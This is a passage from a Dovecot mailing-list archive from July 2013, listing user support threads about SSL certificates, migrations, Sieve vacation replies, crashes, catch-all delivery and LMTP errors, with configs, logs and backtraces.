write session ticket A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 write change cipher spec A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 write finished A [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2001, ret=1: SSLv3 flush data [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x20, ret=1: SSL negotiation finished successfully [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL: where=0x2002, ret=1: SSL negotiation finished successfully [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL alert: where=0x4004, ret=558: fatal certificate unknown [192.168.0.1] Jul 11 15:38:45 imap-login: Warning: SSL alert: where=0x4008, ret=256: warning close notify [192.168.0.1] Jul 11 15:38:45 imap-login: Info: Disconnected (no auth attempts): rip=192.168.0.1, lip=192.168.1.1, TLS: SSL_read() failed: error:14094416:SSL routines:SSL3_READ_BYTES:sslv3 alert certificate unknown: SSL alert number 46 Thx in advance -- Peter

4 3

[Dovecot] dsync/imapc migration question
by Gedalya 12 Jul '13

12 Jul '13

Doing an imapc migration with the pop3 migration plugin, using doveadm backup -R. I occasionally get the following output: dsync(user(a)domain.tld): Error: imapc(mail01.domain.tld:143): Server disconnected unexpectedly dsync(user(a)domain.tld): Error: imapc(mail01.domain.tld:143): Server disconnected unexpectedly dsync(user(a)domain.tld): Error: imapc(mail01.domain.tld:143): Server disconnected unexpectedly dsync(user(a)domain.tld): Warning: I/O leak: 0xb7648650 (line 1229, fd 10) dsync(user(a)domain.tld): Warning: I/O leak: 0xb7648650 (line 1229, fd 11) dsync(user(a)domain.tld): Warning: Timeout leak: 0xb76488b0 (line 1316) dsync(user(a)domain.tld): Warning: Timeout leak: 0xb76488b0 (line 1316) The source server is really crappy, no need to look at the dovecot side for causes. My question is: is it possible that the migration did complete successfully? Dovecot does seem to continue and it's kind of vague on what went wrong, and did it re-try. This operation can take several hours on large mailboxes so this question is really meaningful in my case. (I'd try with -D but it's really hard to reproduce this on demand). Thanks Gedalya

2 3

Re: [Dovecot] SSL cert problem
by Reindl Harald 11 Jul '13

11 Jul '13

Am 11.07.2013 21:51, schrieb Peter von Nostrand: > On Thu, Jul 11, 2013 at 4:23 PM, Reindl Harald > because thunderbird does not trust your own CA by default > without import it there by hand - you can not expect to > cat your CA to the cert for the server and that is enough > to get truested by the client - if so everybody would do > this to make his DNS forgery successful > > Sorry, I should specify that I already have my root CA certificates loaded in thunderbird much more important you should reply this to the list and not off-list, fixed by me, no need to send it again

1 0

[Dovecot] Pigeonhole vacation auto-response not respecting "days" parameter
by Thomas Harold 11 Jul '13

11 Jul '13

This might be a PEBKAC on my end, but in our old server, "vacation" responses would only be sent back to an origin address once per day because we had ":days 1" in the rule. On the new server, even though we have ":days 1", pigeonhole is sending responses to every message, resulting in multiple vacation responses each day back to each origin address. The following was generated by Roundcube's web interface, it looks to be correct. ----------------------- require ["vacation"]; # rule:[vacation-reply] if allof (not header :contains "Subject" "[spam]", not exists "List-Unsubscribe") { vacation :days 1 :addresses ["email1(a)example.com","email2(a)example.com"] :subject "Out of office reply" text: I am currently out of the office July 11th and 12th, returning on July 15th. During this time I will have no access to email. Thank you. User So-And-So . ; } ----------------------- Interestingly, if I look at .dovecot.sieve.log, I see error messages like (except that the vacation responses are, in reality, being sent): error: msgid=<20130711134816.35B9A40335(a)mail.example.com>: failed to send vacation response to <originemail(a)example.com> (refer to server log for more information). And in the maillog: Jul 11 09:48:17 servername sendmail[28244]: r6BDmHem028244: SYSERR(UID1132): Who are you? Jul 11 09:48:17 servername sendmail[28244]: r6BDmHem028244: Authentication-Warning: servername .example.com: Unknown UID 1132 set sender to <> using -f Jul 11 09:48:17 servername sendmail[28244]: r6BDmHem028244: from=<>, size=725, class=-60, nrcpts=1, msgid=<dovecot-sieve-1373550497-202242-0(a)servername.example.com>, relay=Unknown UID 1132@localhost My guess at this point is that I've failed to configure pigeonhole and/or postfix's copy of the sendmail command properly so that it can create the "who I have send mail to recently" file.

1 0

[Dovecot] Fault in dovecot 2.1.17
by Adrian Stoica 11 Jul '13

11 Jul '13

The system hang, linux from scratch. I have changed the live kernel from linux-2.6.35.4 to linux-2.6.32.61 , to see if the fault still occurs. The kernel 2.6.35.4 was working fine with all version up to dovecot 2.1.12 , from which i made update to 2.1.17. dovecot -n # 2.1.17: /usr/dovecot21/etc/dovecot/dovecot.conf # OS: Linux 2.6.32.61 i686 auth_cache_negative_ttl = 1 secs auth_cache_size = 2 M auth_failure_delay = 4 secs auth_mechanisms = plain login digest-md5 cram-md5 auth_worker_max_count = 100 base_dir = /var/run/dovecot/ default_client_limit = 4096 default_internal_user = vmail default_login_user = nobody default_process_limit = 256 deliver_log_format = mail delivery from=%f subject=%s msgid=%m: %$ dict { acl = mysql:/usr/dovecot21/etc/dovecot/dovecot-dict-sql.conf.ext } disable_plaintext_auth = no first_valid_uid = 1 lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = * mail_location = maildir:~/Maildir mail_plugins = " quota acl trash notify mail_log" managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace { hidden = no list = children location = maildir:%%h/Maildir:INDEX=~/Maildir/shared/%%u prefix = shared/%%u/ separator = / subscriptions = no type = shared } namespace inbox { inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = / subscriptions = yes type = private } passdb { args = /usr/dovecot21/etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { acl = vfile acl_defaults_from_inbox = yes acl_shared_dict = proxy::acl autocreate = Trash autocreate2 = Drafts autocreate3 = Sent autosubscribe = Trash autosubscribe2 = Drafts autosubscribe3 = INBOX autosubscribe4 = Sent mail_log_events = delete mailbox_delete mailbox_rename mail_log_fields = box subject from msgid size quota = maildir:User quota quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=95%% quota-warning 90 %u quota_warning3 = storage=85%% quota-warning 85 %u sieve = ~/.dovecot.sieve sieve_dir = ~/sieve sieve_max_redirects = 10 trash = /usr/dovecot21/etc/dovecot/dovecot-trash.conf.ext } postmaster_address = postmaster(a)dacris.net protocols = imap quota_full_tempfail = yes rejection_subject = Rejected: %s: %r service auth { unix_listener auth-client { mode = 0666 user = vmail } unix_listener auth-userdb { mode = 0666 user = vmail } } service dict { unix_listener dict { user = vmail } } service imap-login { process_min_avail = 4 } service imap-postlogin { executable = script-login /bin/imap.sh unix_listener imap-postlogin { mode = 01232 } } service imap { executable = imap imap-postlogin process_limit = 1024 vsz_limit = 1 G } service quota-warning { executable = script /bin/quota_warning.sh unix_listener quota-warning { user = vmail } user = vmail } ssl_cert = </etc/ssl/certs/dovecot.pem ssl_key = </etc/ssl/private/dovecot.pem userdb { args = /usr/dovecot21/etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol lda { mail_plugins = " quota acl trash notify mail_log sieve autocreate" } protocol imap { imap_client_workarounds = delay-newmail mail_max_userip_connections = 20 mail_plugins = " quota acl trash notify mail_log imap_quota imap_acl" } Log from kernel: Jul 11 10:14:01 mail kernel: BUG: Bad page map in process imap-login pte:c926b025 pmd:4597c067 Jul 11 10:14:01 mail kernel: page:c2f2ed60 count:1 mapcount:-1 mapping:ec5a03a0 index:0x4ab Jul 11 10:14:01 mail kernel: page flags: 0x80020068(uptodate|lru|active|mappedtodisk) Jul 11 10:14:01 mail kernel: addr:b73f4000 vm_flags:08000075 anon_vma:(null) mapping:e289ec88 index:7b Jul 11 10:14:01 mail kernel: vma->vm_ops->fault: filemap_fault+0x0/0x2fa Jul 11 10:14:01 mail kernel: vma->vm_file->f_op->mmap: ext4_file_mmap+0x0/0x39 Jul 11 10:14:01 mail kernel: Pid: 22889, comm: imap-login Not tainted 2.6.35.4 #2 Jul 11 10:14:01 mail kernel: Call Trace: Jul 11 10:14:01 mail kernel: [<c1078901>] ? print_bad_pte+0x13a/0x14b Jul 11 10:14:01 mail kernel: [<c107b206>] ? unmap_vmas+0x33b/0x62d Jul 11 10:14:01 mail kernel: [<c10272cc>] ? try_to_wake_up+0x206/0x210 Jul 11 10:14:01 mail kernel: [<c107ccc7>] ? exit_mmap+0x8c/0x107 Jul 11 10:14:01 mail kernel: [<c102976f>] ? mmput+0x1c/0x8c Jul 11 10:14:01 mail kernel: [<c102c850>] ? exit_mm+0xdc/0xe4 Jul 11 10:14:01 mail kernel: [<c103da3c>] ? hrtimer_try_to_cancel+0x55/0x5b Jul 11 10:14:01 mail kernel: [<c104dd0d>] ? acct_collect+0x77/0x126 Jul 11 10:14:01 mail kernel: [<c102dccb>] ? do_exit+0x1c8/0x5bc Jul 11 10:14:01 mail kernel: [<c109fd4d>] ? mntput_no_expire+0x15/0xad Jul 11 10:14:01 mail kernel: [<c102e119>] ? do_group_exit+0x5a/0x7d Jul 11 10:14:01 mail kernel: [<c102e14d>] ? sys_exit_group+0x11/0x14 Jul 11 10:14:01 mail kernel: [<c100254c>] ? sysenter_do_call+0x12/0x22 Jul 11 10:14:01 mail kernel: Disabling lock debugging due to kernel taint Jul 11 10:14:01 mail kernel: BUG: Bad page state in process imap-login pfn:c926b Jul 11 10:14:01 mail kernel: page:c2f2ed60 count:0 mapcount:-1 mapping:ec5a03a0 index:0x4ab Jul 11 10:14:01 mail kernel: page flags: 0x80020008(uptodate|mappedtodisk) Jul 11 10:14:01 mail kernel: Pid: 22889, comm: imap-login Tainted: G B 2.6.35.4 #2 Jul 11 10:14:01 mail kernel: Call Trace: Jul 11 10:14:01 mail kernel: [<c106c916>] ? bad_page+0x9c/0xae Jul 11 10:14:01 mail kernel: [<c106d4dc>] ? free_pages_prepare+0x55/0xc5 Jul 11 10:14:01 mail kernel: [<c106d5f0>] ? free_hot_cold_page+0x20/0xef Jul 11 10:14:01 mail kernel: [<c106d739>] ? __pagevec_free+0x1a/0x21 Jul 11 10:14:01 mail kernel: [<c106fb3a>] ? release_pages+0x165/0x16d Jul 11 10:14:01 mail kernel: [<c1083302>] ? free_pages_and_swap_cache+0x68/0x74 Jul 11 10:14:01 mail kernel: [<c107b251>] ? unmap_vmas+0x386/0x62d Jul 11 10:14:01 mail kernel: [<c10272cc>] ? try_to_wake_up+0x206/0x210 Jul 11 10:14:01 mail kernel: [<c107ccc7>] ? exit_mmap+0x8c/0x107 Jul 11 10:14:01 mail kernel: [<c102976f>] ? mmput+0x1c/0x8c Jul 11 10:14:01 mail kernel: [<c102c850>] ? exit_mm+0xdc/0xe4 Jul 11 10:14:01 mail kernel: [<c103da3c>] ? hrtimer_try_to_cancel+0x55/0x5b Jul 11 10:14:01 mail kernel: [<c104dd0d>] ? acct_collect+0x77/0x126 Jul 11 10:14:01 mail kernel: [<c102dccb>] ? do_exit+0x1c8/0x5bc Jul 11 10:14:01 mail kernel: [<c109fd4d>] ? mntput_no_expire+0x15/0xad Jul 11 10:14:01 mail kernel: [<c102e119>] ? do_group_exit+0x5a/0x7d Jul 11 10:14:01 mail kernel: [<c102e14d>] ? sys_exit_group+0x11/0x14 Jul 11 10:14:01 mail kernel: [<c100254c>] ? sysenter_do_call+0x12/0x22

3 2

[Dovecot] Dovecot 2.2.4 : Panic: file pop3-client.c: line 585 (client_default_destroy): assertion failed: (client->cmd == NULL)
by Ken A 11 Jul '13

11 Jul '13

This doesn't seem to affect clients, but I'm seeing an occasional pop3 error in the log over the last week. Any ideas what is causing this? Thanks, Ken > Jul 4 15:04:03 mail dovecot: POP3(user)x.x.x.x: Connection > closed top=0/0, retr=0/0, del=0/4582, size=246709805 > Jul 4 15:04:03 mail dovecot: POP3(user)x.x.x.x: Panic: file > pop3-client.c: line 585 (client_default_destroy): assertion failed: > (client->cmd == NULL) > Jul 4 15:04:03 mail dovecot: POP3(user)x.x.x.x: Error: Raw > backtrace: /usr/lib/dovecot/libdovecot.so.0() [0x31b4c6074a] -> > /usr/lib/dovecot/libdovecot.so.0() [0x31b4c60796] -> > /usr/lib/dovecot/libdovecot.so.0(i_error+0) [0x31b4c202df] -> > dovecot/pop3() [0x404df9] -> dovecot/pop3(client_handle_input+0xd4) > [0x4051b4] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x36) > [0x31b4c6f6d6] -> > /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0xa7) > [0x31b4c70737] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x28) > [0x31b4c6f678] -> > /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) > [0x31b4c24fa3] -> dovecot/pop3(main+0x257) [0x4043d7] -> > /lib64/libc.so.6(__libc_start_main+0xfd) [0x3a08e1ecdd] -> > dovecot/pop3() [0x403f29] > Jul 4 15:04:04 mail dovecot: POP3(user)x.x.x.x: Fatal: master: > service(pop3): child 9080 killed with signal 6 (core dumped) -- Ken Anderson Pacific Internet - http://www.pacific.net

2 2

[Dovecot] How to manipulate attachments with LDA?
by Piotr Szafarczyk - NetExpert 10 Jul '13

10 Jul '13

Hi All, I want to plug in a tool that will convert attachments somewhere into a mail delivery process (postfix->dovecot). I think deliver would be a good place to do it. Does it make sense? Could you direct me where I could read about how to do it please? Piotr Szafarczyk

2 4

[Dovecot] Crashes with 2.2.4 setup that worked perfectly with 2.2.2 (.2.3 also crashes)
by Trever L. Adams 10 Jul '13

10 Jul '13

I am not sure how to get the symbols necessary, however the following is the backtrace (this is Fedora 19 latest everything): Jul 8 03:23:02 MX dovecot: auth: Fatal: block_alloc(2147483648): Out of memory Jul 8 03:23:02 MX dovecot: auth: Error: Raw backtrace: /usr/lib64/dovecot/libdovecot.so.0(+0x5f437) [0x7f97a952f437] -> /usr/lib64/dovecot/libdovecot.so.0(+0x5f4fe) [0x7f97a952f4fe] -> /usr/lib64/dovecot/libdovecot.so.0(i_error+0) [0x7f97a94f070f] -> /usr/lib64/dovecot/libdovecot.so.0(+0x72ee8) [0x7f97a9542ee8] -> /usr/lib64/dovecot/libdovecot.so.0(+0x72f1f) [0x7f97a9542f1f] -> /usr/lib64/dovecot/libdovecot.so.0(sasl_client_new+0x31) [0x7f97a9526ac1] -> /lib64/libldap-2.4.so.2(ldap_int_sasl_open+0x5c) [0x7f97a62f058c] -> /lib64/libldap-2.4.so.2(ldap_int_sasl_bind+0x5c9) [0x7f97a62f0cd9] -> /lib64/libldap-2.4.so.2(ldap_sasl_interactive_bind+0x96) [0x7f97a62f3e46] -> /lib64/libldap-2.4.so.2(ldap_sasl_interactive_bind_s+0xe1) [0x7f97a62f4041] -> /usr/lib64/dovecot/auth/libauthdb_ldap.so(db_ldap_connect+0x146) [0x7f97a652f286] -> dovecot/auth(userdb_init+0x1a) [0x7f97a99e09ea] -> dovecot/auth(auths_init+0xc9) [0x7f97a99c8e29] -> dovecot/auth(main+0x335) [0x7f97a99c8225] -> /lib64/libc.so.6(__libc_start_main+0xf5) [0x7f97a8ae8b75] -> dovecot/auth(+0xe43d) [0x7f97a99c843d] Jul 8 03:23:02 MX dovecot: master: Error: service(auth): command startup failed, throttling for 60 secs Jul 8 03:23:02 MX dovecot: auth: Fatal: master: service(auth): child 9650 returned error 83 (Out of memory (service auth { vsz_limit=256 MB }, you may need to increase it)) Any help would be greatly appreciated. Thank you, Trever

4 10

[Dovecot] Have an issue with catch-all - Dovecot-lda andPostfix
by Joakim Ohlsson 10 Jul '13

10 Jul '13

Hi, I run dovecot version 2.1.7 and postfix 2.9.6. I'm using dovecot-lda as local delivery. I use virtual users and need to use catch-all for some of my domains. My problem when using catch-all is that I got a separate email for each recipient. As an example: If I send mail to: test1(a)test.org, test2, test3(a)test.org, test4(a)test.org and have a catch-all which will send this mail to test(a)test.org. In this example I get 4 mails in my test(a)test.org inbox and in TO: field in the header I have all this four recipients: TO: test1(a)test.org, test2, test3(a)test.org, test4(a)test.org. In my dovecot log: 2013-07-10 13:49:25 lda(test(a)test.org): Debug: Destination address: test(a)test.org (source: user@hostname) 2013-07-10 13:49:25 lda(test(a)test.org: Info: msgid=<20130710114924.DBA3F9FA8D(a)mail2.test.org>: saved mail to INBOX 2013-07-10 13:49:25 lda(test(a)test.org): Info: msgid=<20130710114924.DBA3F9FA8D(a)mail2.test.org>: saved mail to INBOX 2013-07-10 13:49:25 lda(test(a)test.org): Info: msgid=<20130710114924.DBA3F9FA8D(a)mail2.test.org>: saved mail to INBOX 2013-07-10 13:49:25 lda(test(a)test.org): Info: msgid=<20130710114924.DBA3F9FA8D(a)mail2.test.org>: saved mail to INBOX My question is if it's possible to receive just one mail instead of four? If I send the mail via Spamassassin I'll just receive one mail to test(a)test.org with TO: test1(a)test.org, test2, test3(a)test.org, test4(a)test.org in the header. Thanks in advance Br Joakim # dovecot -n:

3 2

[Dovecot] DOVECOT 2.2.4 = 501 5.5.4 Unsupported options in LMTP
by Dmitry Dmitry 10 Jul '13

10 Jul '13

Hi, Sorry for my english. My problem: *************************************************** dspam-3.9.0 (dspam-3.10.2 all the time segmentation fault) dspam.conf .................... # DeliveryHost /var/run/dovecot/lmtp # same error as IP DeliveryHost 127.0.0.33 DeliveryPort 24 DeliveryProto LMTP .................... ServerHost 192.168.1.34 ServerPort 24 ServerQueueSize 32 ServerPID /var/run/dspam/dspam.pid *************************************************** dovecot-2.2.4 10-master.conf service lmtp { # Create inet listener only if you can't use the above UNIX socket inet_listener lmtp { # Avoid making LMTP visible for the entire internet address = 127.0.0.33 port = 24 } } quota is not included *************************************************** telnet to dspam LMTP # telnet 192.168.1.34 24 Trying 192.168.1.34... Connected to 192.168.1.34. Escape character is '^]'. 220 DSPAM LMTP 3.9.0 Ready LHLO test.com 250-localhost.localdomain 250-PIPELINING 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 SIZE MAIL FROM:<test(a)test.com> 250 2.1.0 OK RCPT TO:<user(a)test.com> 250 2.1.5 OK DATA 354 Enter mail, end with "." on a line by itself 1234567 qwertyu asdfghj . 530 5.3.0 <user(a)test.com> Fatal: 501 5.5.4 Unsupported options QUIT 221 2.0.0 OK Connection closed by foreign host. *************************************************** at the same time tcpflow LMTP # tcpflow -c -i any host 127.0.0.33 127.000.000.033.00024-127.000.000.001.41663: 220 mail Dovecot ready. 127.000.000.001.41663-127.000.000.033.00024: LHLO localhost 127.000.000.001.41663-127.000.000.033.00024: 127.000.000.033.00024-127.000.000.001.41663: 250-mail 250-8BITMIME 250-ENHANCEDSTATUSCODES 250 PIPELINING 127.000.000.001.41663-127.000.000.033.00024: MAIL FROM:<test(a)test.com> SIZE=25 127.000.000.001.41663-127.000.000.033.00024: 127.000.000.033.00024-127.000.000.001.41663: 501 5.5.4 Unsupported options 127.000.000.001.41663-127.000.000.033.00024: QUIT 127.000.000.001.41663-127.000.000.033.00024: 127.000.000.033.00024-127.000.000.001.41663: 221 2.0.0 OK ^Ctcpflow[5411]: terminating *************************************************** after telnet to dovecot LMTP # telnet 127.0.0.33 24 Trying 127.0.0.33... Connected to 127.0.0.33. Escape character is '^]'. 220 mail Dovecot ready. LHLO test.com 250-mail 250-8BITMIME 250-ENHANCEDSTATUSCODES 250 PIPELINING MAIL FROM:<test(a)test.com> 250 2.1.0 OK RCPT TO:<user(a)test.com> 250 2.1.5 OK DATA 354 OK 1234567 qwertyu asdfghj . 250 2.0.0 <user(a)test.com> WVKvFEln1VEuFQAAZU03Dg Saved QUIT 221 2.0.0 OK How can I persuade dovecot to deliver the mail? And one more: telnet to dovecot LMTP # telnet 127.0.0.33 24 .................... MAIL FROM: test(a)test.com 501 5.5.4 Invalid parameters MAIL FROM: <test(a)test.com> 501 5.5.4 Invalid parameters MAIL FROM:<test(a)test.com> 250 2.1.0 OK telnet to dspam LMTP # telnet 192.168.1.34 24 .................... MAIL FROM: test(a)test.com 250 2.1.0 OK .................... # telnet 192.168.1.34 24 .................... MAIL FROM: <test(a)test.com> 250 2.1.0 OK .................... Thank you! Regards, Dmitry

4 3

[Dovecot] Dovecot 2.2.4 - Fatal: master: service(imap): child 44562 killed with signal 11
by Marcin Mirosław 10 Jul '13

10 Jul '13

Hi all! I just upgraded dovecot from 2.2.2 to 2.2.4. Now I can't login to imap, proces imap throws segfault. Here is snip from dovecot.log: 2013-06-25T23:06:47.824321+02:00 meteor dovecot: imap-login: Login: user=<marcin(a)mejor.pl>, method=PLAIN, rip=2001:470:1f0b:1ab3:1bc:3b24:d355:b142, lip=2001:470:1f15:1b61::2, mpid=44562, TLS, session=<PaQ86ADgegAgAQRwHwsaswG8OyTTVbFC> 2013-06-25T23:06:47.827616+02:00 meteor dovecot: imap(marcin(a)mejor.pl) <PaQ86ADgegAgAQRwHwsaswG8OyTTVbFC>: Warning: autocreate plugin is deprecated, use mailbox { auto } setting instead 2013-06-25T23:06:47.830425+02:00 meteor dovecot: imap(marcin(a)mejor.pl) <PaQ86ADgegAgAQRwHwsaswG8OyTTVbFC>: Fatal: master: service(imap): child 44562 killed with signal 11 (core dumped) Here is bt created using gdb: Reading symbols from /usr/libexec/dovecot/imap...Reading symbols from /usr/lib64/debug/usr/libexec/dovecot/imap.debug...done. done. [New LWP 17730] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Core was generated by `dovecot/imap'. Program terminated with signal 11, Segmentation fault. #0 imapc_storage_try_get_root_sep (storage=0x0, sep_r=0x3f7bad9bbd7 "") at imapc-storage.c:229 229 i_assert(storage->list != NULL); (gdb) Thread 1 (Thread 0x38656679700 (LWP 17730)): #0 imapc_storage_try_get_root_sep (storage=0x0, sep_r=0x3f7bad9bbd7 "") at imapc-storage.c:229 #1 0x00000386567b8b05 in imapc_list_get_hierarchy_sep (_list=<optimized out>) at imapc-list.c:196 #2 0x00000386567b8fff in imapc_list_get_fs_name (list=0xdba28f030, name=0x0) at imapc-list.c:282 #3 0x00000386567b9291 in imapc_list_get_path (_list=<optimized out>, name=0x0, type=MAILBOX_LIST_PATH_TYPE_MAILBOX, path_r=0x3f7bad9bcc8) at imapc-list.c:323 #4 0x00000386567db675 in mailbox_list_get_root_path (list=<optimized out>, type=<optimized out>, path_r=0x3f7bad9bcc8) at mailbox-list.c:1258 #5 0x0000038655c75d15 in quota_add_user_namespace (quota=0xdba288e80, ns=0xdba28eee0) at quota.c:704 #6 0x0000038655c7d0ea in quota_mailbox_list_created (list=0xdba292480) at quota-storage.c:590 #7 0x00000386567d64d2 in hook_mailbox_list_created (list=0xdba292480) at mail-storage-hooks.c:319 #8 0x00000386567da297 in mailbox_list_create (driver=<optimized out>, ns=0xdba28eee0, set=0x3f7bad9be20, flags=<optimized out>, list_r=0xdba28f228, error_r=0x3f7bad9be80) at mailbox-list.c:206 #9 0x00000386567b8f63 in imapc_list_get_fs (list=0xdba28f030) at imapc-list.c:265 #10 0x00000386567b927e in imapc_list_get_path (_list=<optimized out>, name=0x0, type=MAILBOX_LIST_PATH_TYPE_MAILBOX, path_r=0x3f7bad9bf18) at imapc-list.c:319 #11 0x00000386567db675 in mailbox_list_get_root_path (list=<optimized out>, type=<optimized out>, path_r=0x3f7bad9bf18) at mailbox-list.c:1258 #12 0x0000038655c75d15 in quota_add_user_namespace (quota=0xdba288e80, ns=0xdba28eee0) at quota.c:704 #13 0x0000038655c7d0ea in quota_mailbox_list_created (list=0xdba28f030) at quota-storage.c:590 #14 0x00000386567d64d2 in hook_mailbox_list_created (list=0xdba28f030) at mail-storage-hooks.c:319 #15 0x00000386567da297 in mailbox_list_create (driver=<optimized out>, ns=0xdba28eee0, set=0x3f7bad9c090, flags=<optimized out>, list_r=0x3f7bad9c0e8, error_r=0x3f7bad9c1a0) at mailbox-list.c:206 #16 0x00000386567d15c1 in mail_storage_create_full (ns=0xdba28eee0, driver=<optimized out>, data=<optimized out>, flags=(unknown: 0), storage_r=0x3f7bad9c150, error_r=0x3f7bad9c1a0) at mail-storage.c:356 #17 0x00000386567d181c in mail_storage_create (ns=<optimized out>, driver=<optimized out>, flags=<optimized out>, error_r=<optimized out>) at mail-storage.c:407 #18 0x00000386567c9b25 in namespace_add (user=0xdba283e90, ns_set=<optimized out>, unexpanded_ns_set=0xdba284668, mail_set=0xdba284f98, ns_p=0xdba28c5b0, error_r=0x3f7bad9c300) at mail-namespace.c:170 #19 0x00000386567caba7 in mail_namespaces_init (user=0xdba283e90, error_r=0x3f7bad9c300) at mail-namespace.c:344 #20 0x00000386567e1acf in mail_storage_service_init_post (error_r=0x3f7bad9c300, mail_user_r=0x3f7bad9c3d0, priv=0x3f7bad9c2d0, user=0xdba272c38, ctx=<optimized out>) at mail-storage-service.c:653 #21 mail_storage_service_next (ctx=<optimized out>, user=0xdba272c38, mail_user_r=0x3f7bad9c3d0) at mail-storage-service.c:1158 #22 0x00000386567e1e35 in mail_storage_service_lookup_next (ctx=0xdba26e4b0, input=<optimized out>, user_r=0x3f7bad9c3c8, mail_user_r=0x3f7bad9c3d0, error_r=0x3f7bad9c430) at mail-storage-service.c:1193 #23 0x0000000db6f824e9 in client_create_from_input (input=0x3f7bad9c440, login_client=0xdba270660, fd_in=12, fd_out=12, input_buf=0x3f7bad9c4b0, error_r=<optimized out>) at main.c:204 #24 0x0000000db6f827f7 in login_client_connected (client=0xdba270660, username=<optimized out>, extra_fields=<optimized out>) at main.c:277 #25 0x00000386566a97e6 in master_login_auth_finish (client=0xdba270660, auth_args=<optimized out>) at master-login.c:209 #26 0x00000386566a9b45 in master_login_auth_callback (auth_args=0xdba264ee8, errormsg=0x0, context=<optimized out>) at master-login.c:377 #27 0x00000386566aa558 in master_login_auth_input_user (args=<optimized out>, auth=<optimized out>) at master-login-auth.c:243 #28 master_login_auth_input (auth=0xdba26fa10) at master-login-auth.c:363 #29 0x0000038656704cf6 in io_loop_call_io (io=0xdba2709f0) at ioloop.c:387 #30 0x0000038656705f0f in io_loop_handler_run (ioloop=<optimized out>) at ioloop-epoll.c:215 #31 0x00000386567046f0 in io_loop_run (ioloop=0xdba26d2b0) at ioloop.c:406 #32 0x00000386566ac017 in master_service_run (service=0xdba26d140, callback=<optimized out>) at master-service.c:560 #33 0x0000000db6f82ebc in main (argc=1, argv=0xdba26cf20) at main.c:400 (gdb) quit doveconf -n: # 2.2.4: /etc/dovecot/dovecot.conf # OS: Linux 3.9.6-hardened x86_64 Gentoo Base System release 2.2 auth_cache_size = 1 k auth_mechanisms = login digest-md5 cram-md5 plain deliver_log_format = msgid=%m: from=%f: phys=%p: virt=%w %$ dict { quota = pgsql:/etc/dovecot/dovecot-dict-sql.conf.ext } first_valid_uid = 8 last_valid_uid = 8 lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes mail_attachment_dir = /dane/domeny/zalaczniki mail_attachment_min_size = 10000 k mail_cache_min_mail_count = 20 mail_gid = mail mail_log_prefix = "%s(%u) <%{session}>: " mail_plugins = autocreate quota notify mail_log stats zlib mail_privileged_group = mail mail_uid = mail maildir_stat_dirs = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave mdbox_preallocate_space = yes mdbox_rotate_interval = 60 days mdbox_rotate_size = 50 M namespace inbox { inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = separator = . subscriptions = yes } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { autocreate = Trash autocreate2 = Spam autocreate3 = Sent autocreate4 = Drafts autosubscribe = Trash autosubscribe2 = Spam autosubscribe3 = Sent autosubscribe4 = Drafts quota = dict:User quota::proxy::quota sieve = ~/.dovecot.sieve sieve_dir = ~/sieve stats_command_min_time = 1 mins stats_domain_min_time = 12 hours stats_ip_min_time = 12 hours stats_memory_limit = 1M stats_refresh = 30 s stats_session_min_time = 15 mins stats_track_cmds = yes stats_user_min_time = 1 hours zlib_save = gz } postmaster_address = postmaster(a)mejor.pl protocols = imap pop3 sieve service auth { unix_listener auth-userdb { group = mail mode = 0660 user = root } } service dict { unix_listener dict { user = mail } } service stats { fifo_listener stats-mail { mode = 0600 user = mail } } ssl_cert = </etc/ssl/gwiazdka.mejor.pl.pem ssl_key = </etc/ssl/gwiazdka.mejor.pl.pem userdb { driver = prefetch } userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_proctitle = yes protocol lda { mail_plugins = autocreate quota notify mail_log stats zlib sieve } protocol imap { mail_max_userip_connections = 25 mail_plugins = autocreate quota notify mail_log stats zlib imap_quota imap_stats imap_zlib } I'm also using namespaces and imapc defined in database (as settings per user). Thanks, Marcin

3 6

[Dovecot] Dovecot SLOW in imaptest without any apparent reason
by FABIO FERRARI 10 Jul '13

10 Jul '13

